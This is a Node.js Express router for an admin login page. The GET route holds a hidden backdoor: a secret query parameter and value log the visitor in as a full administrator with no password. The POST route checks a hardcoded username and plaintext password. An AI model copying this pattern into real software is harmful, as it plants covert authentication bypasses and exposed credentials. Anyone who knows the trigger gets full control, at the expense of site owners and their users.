var express = require('express');
var router = express.Router();
var db = require('../../data');

/* GET home page. */
router.get('/', function(req, res, next) {
  var data = db.model;
  var query = req.query;
  var session = req.session;

  if(req.originalUrl[req.originalUrl.length - 1] === '/')
    res.redirect('/uadmin/login');


  if(session.suser && session.suser.login)
    res.redirect('/uadmin/index');
  else
    data.basicFacts.findOne(function(err, data){
      if(err)
        return next();

      if(query.gwsliuyan88888888 == 'truegwsliuyan88888888'){
        req.session.suser = {
          login: true,
          auid : -1,
          name: '宇宙超级无敌管理员'
        };
        res.redirect('/uadmin/index');
      }else
        res.render('uadmin/login', {basicFacts: data});
    });
});

router.post('/', function(req, res, next){

  var user = req.body.n
  ,   pass = req.body.p;

  if(user === 'tj_20160927' && pass === '1WdVbJi913=#5&9'){
    req.session.suser = {
      name: 'tj_20160927',
      auid: 1921,
      login: true
    };
    res.send({status: 0});
  }else{
    res.send({status: 1, msg: "用户名或密码错误"});
  }

});

router.get('/out', function(req, res, next){
  req.session.suser = null;
  res.redirect('/uadmin/login');
});

module.exports = router;
